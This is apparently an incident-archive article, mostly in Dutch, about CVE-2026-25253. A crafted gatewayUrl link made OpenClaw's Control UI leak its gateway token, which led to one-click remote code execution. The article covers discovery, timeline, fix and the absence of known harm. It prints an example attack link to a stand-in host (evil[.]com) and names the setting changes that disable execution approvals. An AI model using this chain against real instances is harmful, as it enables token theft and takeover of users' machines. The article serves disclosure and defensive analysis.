Een abstracte redactionele illustratie in donker marineblauw: een browservenster aan de linkerkant sleept een gloeiend query-string-lint achter zich aan dat door een donker gat heen krult naar een amberkleurige tokennode, en een dunne lijn vanaf het token loopt door naar een afzonderlijk eindpunt aan de rechterkant. De enige tekst is een klein label met de tekst 'QUERY STRING > TOKEN > GATEWAY'. Geen personen, geen logo's.
AI Safety Incidents

OpenClaw Control UI WebSocket-kaping: één link naar RCE

Auteur

Gideon Frost

Publicatiedatum

Nieuwste modellen · 20Bekijk alle modellen →
Benchmarks: Artificial Analysis · dagelijks bijgewerkt
Terug naar alle berichten

Op 29 januari 2026 publiceerde beveiligingsbedrijf Ethiack zijn verslag van een kwetsbaarheid in OpenClaw, de opensource-persoonlijke AI-agent die op de eigen machine van een gebruiker draait en wordt aangestuurd vanuit een browserdashboard dat de Control UI heet. Een speciaal samengestelde link kon dat dashboard ertoe brengen een aanvaller het authenticatietoken van de gateway te geven, en daarmee de mogelijkheid om shellcommando's uit te voeren als de ingelogde gebruiker. CVE-2026-25253 volgde op 1 februari 2026 en het eigen beveiligingsadvies van het project een dag later; beide beoordeelden de kwetsbaarheid met 8,8, hoog. Elke implementatie waar iemand zich bij de Control UI had aangemeld, viel binnen scope, inclusief instanties die alleen via loopback bereikbaar waren. Geen enkele voor dit artikel geraadpleegde bron vermeldt dat de kwetsbaarheid tegen een echte gebruiker is gebruikt. Het archief voert de episode op als een infrastructuurincident met hoge ernst, met een betrouwbaarheidsgraad B en een datum met dagprecisie van 29 januari 2026, naast zijn andere vermeldingen over agentbeveiliging in de Orca AI Incident Archive.

Wat de Control UI met een URL deed

OpenClaw is een zelfgehoste agent die gebruikers bereiken via berichtenapps en een webdashboard, en die werkt met wat in Ethiacks analyse "volledige systeemtoegang" wordt genoemd. Het project was al meer dan eens hernoemd en had vóór OpenClaw de namen Clawdbot en Moltbot gedragen, en het npm-register vermeldt het openclaw-pakket als aangemaakt op 29 januari 2026 om 11:08 UTC. Het dashboard is hier het cruciale onderdeel: het bewaarde het gateway-token in browseropslag, en daar zat de kwetsbaarheid.

The Control UI read a gatewayUrl value out of the page's query string in a function named applySettingsFromUrl() and adopted it without checking whether the target was a trusted or local domain. It then connected to that address automatically on page load, with no prompt, and the WebSocket connect frame carried the stored gateway authentication token along with a device ID and public key (SonicWall Capture Labs, 26 February 2026). A link of the form http://<target>/chat?gatewayUrl=ws://evil[.]com was therefore enough to send the token to a server the attacker controlled. OpenClaw's own advisory states the behaviour plainly: "The Control UI trusts gatewayUrl from the query string without validation and auto-connects on load, sending the stored gateway token in the WebSocket connect payload."

Twee browserfeiten veranderen dat lek in een overname. Browsers passen het same-originbeleid niet op dezelfde manier toe op WebSocket-verbindingen als op gewone HTTP-verzoeken, en de gateway valideerde de Origin-header niet bij de upgrade, zodat JavaScript op een pagina die het slachtoffer had bezocht rechtstreeks een socket kon openen naar ws://localhost:18789 (depthfirst, 1 februari 2026). Omdat de browser van het slachtoffer zelf de uitgaande verbinding maakt, bereikte de aanval gateways die aan loopback waren gebonden en vanaf het netwerk onzichtbaar waren. "Deze kwetsbaarheid is zelfs uit te buiten op instanties die zijn geconfigureerd om alleen op loopback te luisteren, omdat de browser van het slachtoffer de uitgaande verbinding initieert," zegt de adviestekst van het project. Ethiack noteerde destijds nog een voorwaarde: de stabiele Chrome-build die het testte, leverde de Local Network Access-machtiging niet standaard mee, dus de browser toonde ook geen prompt.

Wat het gestolen token oplevert, is de rest van het verhaal. Het had de scopes operator.admin en operator.approvals. Daarmee kon een aanvaller uitvoeringsgoedkeuringen uitschakelen door exec.approvals.set op "off" te zetten, de uitvoeringshost uit de container te verplaatsen door tools.exec.host op "gateway", en dan shellcommando's op de host uit te voeren via een node.invoke / system.run-verzoek (depthfirst, 1 februari 2026; The Hacker News, 2 februari 2026). Het advies van de leverancier vat de uitkomst in één zin samen: de aanvaller kan "config wijzigen (sandbox, toolbeleid) en geprivilegieerde acties aanroepen, waardoor 1-click RCE wordt bereikt".

A four-step chain card headed 'From a query string to a shell': step one, a crafted link sets the gatewayUrl parameter; step two, the Control UI auto-connects on load and sends the stored token; step three, the attacker replays the token against the victim's gateway; step four, execution approvals are disabled, the execution host is switched to the gateway, and a shell command runs.

In minder dan twee uur gevonden, door een machine

De ontdekking was zelf een AI-oefening. Ethiack zette zijn autonome pentesting-agent Hackian los op een live OpenClaw-instantie op 26 januari 2026 om 13:21 UTC. Het bevestigde de kwetsbaarheid om 15:05 UTC, ongeveer een uur en veertig minuten later, het cijfer waarmee Ethiacks verslag de kop haalt. Het bedrijf meldde het om 18:02 UTC aan de maintainers van OpenClaw. Een pull request volgde op 27 januari en de oplossing bereikte de hoofdbranch op de avond van 28 januari, volgens Ethiacks gepubliceerde tijdlijn en de commitgeschiedenis van het project.

Een tweede team kwam onafhankelijk tot dezelfde conclusie. Mav Levin, een van de oprichtende beveiligingsonderzoekers bij depthfirst, publiceerde op 1 februari 2026 zijn eigen verslag, waarin hij schreef: "Het OpenClaw-team heeft het probleem dat ik meldde snel opgepakt en opgelost", en dat iemand anders dezelfde bug onafhankelijk had gemeld. In het beveiligingsadvies van GitHub wordt DepthFirstDisclosures als melder vermeld en worden zowel 0xacb als mavlevin onder de vinders genoemd. Het 0xacb-account heeft de profielnaam André Baptista, een van de drie medeauteurs van het Ethiack-verslag, wat bij de tijdlijn past: de pull request van Ethiack voor de fix werd op 27 januari vanaf dat account geopend en de commit van de beheerders bedankt het account bij naam. Geen van de voor dit artikel geraadpleegde bronnen zegt dat de twee inspanningen vóór publicatie van elkaar op de hoogte waren, en niemand betwist de eer.

A timeline card with seven dated rows: 26 January 2026 at 13:21 UTC an autonomous pentesting agent starts against a live OpenClaw instance; 15:05 UTC the flaw is confirmed; 18:02 UTC it is reported to the maintainers; 27 January at 17:12 UTC a pull request is opened; 28 January between 21:26 and 21:32 UTC the fix series lands on the main branch; 30 January npm publishes 2026.1.29 at 04:49 UTC and the GitHub release follows at 05:26 UTC; 1 February at 22:34 UTC the CVE record is published, with the project advisory on 2 February.

De datum van het record, en de datums eromheen

Het archief dateert deze vermelding op 29 januari 2026 met dagprecisie, en dat komt overeen met de dag waarop Ethiacks onderzoek openbaar werd. De codereparatie was al de vorige dag doorgevoerd. De getagde release met de fix volgde in de vroege uren van 30 januari UTC, wat de avond van 29 januari is in de Pacifische tijdzone van de Verenigde Staten: npm registreert versie 2026.1.29 om 04:49 UTC op 30 januari en de GitHub-release om 05:26 UTC. MITRE's CVE-record is gedateerd op 1 februari 2026 om 22:34 UTC, GitHub's advies op 2 februari om 23:41 UTC, en The Hacker News berichtte op 2 februari over het lek.

De in het record aangehaalde bron, de agent-incidenttracker van Permission Protocol, hanteert een eigen tijdlijn, en delen daarvan lopen achter. Hij plaatst de patchrelease op 2026-01-29, consistent met het versienummer, maar dateert de "vroege meldingen" van de kwetsbaarheid op 2026-02-12 en de brede openbare bekendmaking van CVE-2026-25253 op 2026-02-26, met onafhankelijke overzichten op 2026-03-24. De primaire documenten zeggen iets anders. De datum van 26 februari komt overeen met SonicWall's patchanalyse, gepubliceerd drieënhalf weken nadat de identifier bestond, en 12 februari valt tussen de twee onderzoeksverslagen en de leveranciersanalyse in, in plaats van daarvoor. De laatste rij van de tijdlijn in de tracker noemt het mechanisme ook "zero-click"; de leveranciersadvisory noemt het 1-click, en elk gepubliceerd verslag beschrijft een slachtoffer dat een link moet openen. Waar die datums en labels afwijken, volgt dit artikel het CVE-record, de leveranciersadvisory en de twee onderzoeksverslagen.

Eén waarschuwing over die bron is het waard om openlijk te vermelden. Permission Protocol verkoopt een autorisatiepoort, en de vermelding ervan kadert het incident rond wat zijn eigen product zou hebben geblokkeerd. De pagina bestempelt die beoordeling als voorwaardelijk en zegt van zichzelf dat "de bron geen resultaat van productpreventie vaststelt". Wat de registratie wel nauwkeurig overbrengt, is de inkadering ervan: het onderzoek was al drie dagen openbaar voordat de CVE bestond, en daarom noemt het archief dit een vroege ontdekking vóór CVE-2026-25253.

Wat was er eigenlijk beschadigd?

Niets, voor zover enige bron dat vastlegt. Het archief markeert het record real_harm als false, en dat is consistent met alles wat eromheen is gepubliceerd. Het Centre for Cybersecurity van België bracht op 2 februari 2026 een advies uit met de mededeling dat "er momenteel geen bewijs is dat deze kwetsbaarheid in het wild is misbruikt". Noch Ethiack, depthfirst, SonicWall noch The Hacker News meldt een slachtoffer, een gecompromitteerde installatie of ontvreemde data, en geen van hen noemt een aantal voor hoeveel installaties er blootgesteld waren. Ethiack merkt alleen op dat er "talloze instanties op publieke servers draaiden" met een zwakke configuratie, wat een indruk is en geen telling.

Wat wel bestaat, is werkende exploitcode. Ethiack publiceerde de volledige broncode van de exploit samen met de bijbehorende write-up en demonstreerde de aanvalsketen tegen zijn eigen instantie. Uit SonicWalls analyse van februari blijkt dat tokens werden vastgelegd 'met behulp van een openbaar beschikbare exploit'. Op 9 maart 2026 verscheen op GitHub een proof-of-conceptrepository van een derde partij. Openbare exploitcode is niet hetzelfde als exploitatie, en de schadevlag van het archief gaat over het laatste.

Eén bron is losser dan de rest en het vermelden waard. De risicosectie van het Belgische advies beschrijft dat de bot zelf door de aanvaller beheerde inhoud weergeeft als de trigger, wat niet het mechanisme is in het leveranciersadvies en ook niet in een van beide onderzoeksverslagen: in alle drie wordt de browser van het slachtoffer naar een link gelokt en is de agent het doelwit, niet het afleveringsmechanisme. De uitspraak over exploitatie is het citeerbare deel; de samenvatting van het mechanisme niet.

Wat is er veranderd, en wat de eerste oplossing openliet

De fix in 2026.1.29 voegde een bevestigingsdialoog toe voordat de Control UI overschakelt naar een andere gateway-URL. Het beveiligingsadvies van het project omschrijft de wijziging als "Met de wijziging moeten gebruikers nu de nieuwe gateway-URL in de UI bevestigen", en het bestand dat de dialoog weergeeft, is aanwezig in de tag v2026.1.29. Dat verhoogt de kosten van de aanval van één klik naar één klik plus een bewuste bevestiging. Het neemt het onderliggende vertrouwen in een URL-parameter niet weg.

Originvalidatie, de andere helft van de keten, kwam later. SonicWalls patchanalyse vermeldt dat "Latere updates strenge originvalidatiecontroles hebben geïmplementeerd", met vier controles: een ontbrekende of ongeldige Origin-header afwijzen; een Origin-host toestaan die overeenkomt met de Host-header; loopback naar loopback toestaan; origins toestaan die in een geconfigureerde allowedOrigins-lijst staan; en al het overige afwijzen. De volgorde is zichtbaar in de broncode van het project bij de tag v2026.1.29, waar de WebSocket-upgradehandler de Origin-header leest en logt zonder er een beleid op toe te passen.

Andere reacties waren detectie in plaats van code. SonicWall heeft IPS-signatuur 21908 uitgebracht voor wat het "OpenClaw sensitive data exposure" noemt. depthfirst adviseerde te upgraden en het gateway-token te roteren als blootstelling werd vermoed, wat rechtstreeks voortvloeit uit het mechanisme: een gestolen token blijft geldig tot iemand het wijzigt.

Wat is vastgesteld, en wat niet

Uit primaire documenten is vastgesteld: het kwetsbare codepad las gatewayUrl uit de query string en maakte automatisch verbinding zonder validatie; het connect-frame bevatte het opgeslagen token; de gateway valideerde de WebSocket-origin niet, waardoor een browser op elke site loopback kon bereiken; het token bevatte admin- en goedkeuringsscopes; versies vóór 2026.1.29 waren getroffen; en twee teams vonden de kwetsbaarheid onafhankelijk, een van hen een autonome agent die van buitenaf werkte.

Niet vastgesteld: dat iemand er misbruik van heeft gemaakt, hoeveel installaties op dat moment bereikbaar waren, en of de bevestigingsdialoog op zichzelf een vastberaden aanvaller zou afweren. Het B-cijfer van het archief weerspiegelt een citatiebasis van één secundaire tracker, niet enige twijfel over de mechanismen, en het record is niet als betwist gemarkeerd. Die mechanismen worden ondersteund door het advies van de leverancier, door MITRE's CVE-record en door twee onafhankelijke onderzoeksverslagen, wat meer is dan het record zelf op eigen gezag claimt.

A two-column comparison card. The left column, headed 'Established by primary documents', lists: the gatewayUrl query parameter was trusted and auto-connected; the connect frame sent the stored token; WebSocket origin was not validated; the token held operator.admin and operator.approvals; versions before 2026.1.29 were affected; two teams found it independently. The right column, headed 'Not established', lists: any in-the-wild exploitation; a count of reachable installations; whether the confirmation dialog alone defeats the attack.

De eenregelige samenvatting van het archief noemt dit een vroege ontdekking vóór CVE-2026-25253, en zo moet je het item ook lezen: een registratie van een fout die gevonden, gemeld en gerepareerd werd voordat hij een identificatie had, in een product dat is gebouwd om commando's uit te voeren op de machine waarop het draait. De CVE die volgde beschrijft dezelfde drie gedragingen: een queryparameter, een ongevraagde verbinding en een token in de handshake, en geen enkele lezing van de broncode voor dit stuk plaatst iemand aan de andere kant ervan.